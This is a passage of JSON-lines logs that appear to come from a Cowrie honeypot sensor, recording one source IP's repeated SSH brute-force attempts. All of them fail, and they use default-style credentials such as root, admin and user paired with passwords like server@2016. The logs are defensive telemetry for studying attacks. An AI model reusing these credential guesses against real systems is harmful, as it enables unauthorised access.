-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:54.874493Z","src_ip":"103.114.153.158","session":"abbe9a200f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:55.677239Z","src_ip":"182.191.77.164","session":"490377b641a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2012","message":"login attempt [admin/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:55.760243Z","src_ip":"103.114.153.158","session":"abbe9a200f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:56.239618Z","src_ip":"103.114.153.158","session":"abbe9a200f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46104,"dst_ip":"10.17.0.5","dst_port":22,"session":"66808113309d","protocol":"ssh","message":"New connection: 103.114.153.158:46104 (10.17.0.5:22) [session: 66808113309d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:56.416937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:56.427924Z","src_ip":"103.114.153.158","session":"66808113309d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:56.616932Z","src_ip":"103.114.153.158","session":"66808113309d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2012","message":"login attempt [user/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:57.390228Z","src_ip":"103.114.153.158","session":"66808113309d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:57.869690Z","src_ip":"103.114.153.158","session":"66808113309d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46106,"dst_ip":"10.17.0.5","dst_port":22,"session":"39bdf569ed12","protocol":"ssh","message":"New connection: 103.114.153.158:46106 (10.17.0.5:22) [session: 39bdf569ed12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:58.087155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:58.093475Z","src_ip":"103.114.153.158","session":"39bdf569ed12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:58.298992Z","src_ip":"103.114.153.158","session":"39bdf569ed12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2012","message":"login attempt [user2/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:59.151152Z","src_ip":"103.114.153.158","session":"39bdf569ed12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:59.631505Z","src_ip":"103.114.153.158","session":"39bdf569ed12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5edb09974bff","protocol":"ssh","message":"New connection: 103.114.153.158:46118 (10.17.0.5:22) [session: 5edb09974bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:59.821017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:59.825631Z","src_ip":"103.114.153.158","session":"5edb09974bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38574,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c376038a6c","protocol":"telnet","message":"New connection: 69.4.83.194:38574 (159.203.135.109:23) [session: 58c376038a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:59.834378Z"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:00.019825Z","src_ip":"103.114.153.158","session":"5edb09974bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2016","message":"login attempt [root/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:00.839577Z","src_ip":"103.114.153.158","session":"5edb09974bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:01.320285Z","src_ip":"103.114.153.158","session":"5edb09974bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38050,"dst_ip":"10.17.0.5","dst_port":22,"session":"59297e5979de","protocol":"ssh","message":"New connection: 103.114.153.158:38050 (10.17.0.5:22) [session: 59297e5979de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:01.511268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:01.517124Z","src_ip":"103.114.153.158","session":"59297e5979de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:01.701981Z","src_ip":"103.114.153.158","session":"59297e5979de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2016","message":"login attempt [admin/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:02.470783Z","src_ip":"103.114.153.158","session":"59297e5979de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:02.953152Z","src_ip":"103.114.153.158","session":"59297e5979de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38058,"dst_ip":"10.17.0.5","dst_port":22,"session":"273842df874f","protocol":"ssh","message":"New connection: 103.114.153.158:38058 (10.17.0.5:22) [session: 273842df874f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:03.180486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:03.190052Z","src_ip":"103.114.153.158","session":"273842df874f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:03.404486Z","src_ip":"103.114.153.158","session":"273842df874f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2016","message":"login attempt [user/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:04.269141Z","src_ip":"103.114.153.158","session":"273842df874f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:04.749886Z","src_ip":"103.114.153.158","session":"273842df874f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38068,"dst_ip":"10.17.0.5","dst_port":22,"session":"87da8c21ea97","protocol":"ssh","message":"New connection: 103.114.153.158:38068 (10.17.0.5:22) [session: 87da8c21ea97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:04.964421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:04.971057Z","src_ip":"103.114.153.158","session":"87da8c21ea97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:05.181727Z","src_ip":"103.114.153.158","session":"87da8c21ea97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2016","message":"login attempt [user2/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:06.053724Z","src_ip":"103.114.153.158","session":"87da8c21ea97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:06.533789Z","src_ip":"103.114.153.158","session":"87da8c21ea97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cfd73e83a8e","protocol":"ssh","message":"New connection: 103.114.153.158:38070 (10.17.0.5:22) [session: 1cfd73e83a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:06.718416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:06.724500Z","src_ip":"103.114.153.158","session":"1cfd73e83a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:06.919783Z","src_ip":"103.114.153.158","session":"1cfd73e83a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2019","message":"login attempt [root/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:07.715662Z","src_ip":"103.114.153.158","session":"1cfd73e83a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:08.195368Z","src_ip":"103.114.153.158","session":"1cfd73e83a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"0798c579d614","protocol":"ssh","message":"New connection: 103.114.153.158:38080 (10.17.0.5:22) [session: 0798c579d614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:08.413199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:08.418880Z","src_ip":"103.114.153.158","session":"0798c579d614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:08.617117Z","src_ip":"103.114.153.158","session":"0798c579d614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2019","message":"login attempt [admin/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:09.438272Z","src_ip":"103.114.153.158","session":"0798c579d614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:09.918237Z","src_ip":"103.114.153.158","session":"0798c579d614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":60106,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebd89321aa9","protocol":"ssh","message":"New connection: 103.114.153.158:60106 (10.17.0.5:22) [session: eebd89321aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:10.111173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:10.116599Z","src_ip":"103.114.153.158","session":"eebd89321aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:10.314827Z","src_ip":"103.114.153.158","session":"eebd89321aa9","protocol":"ssh"}
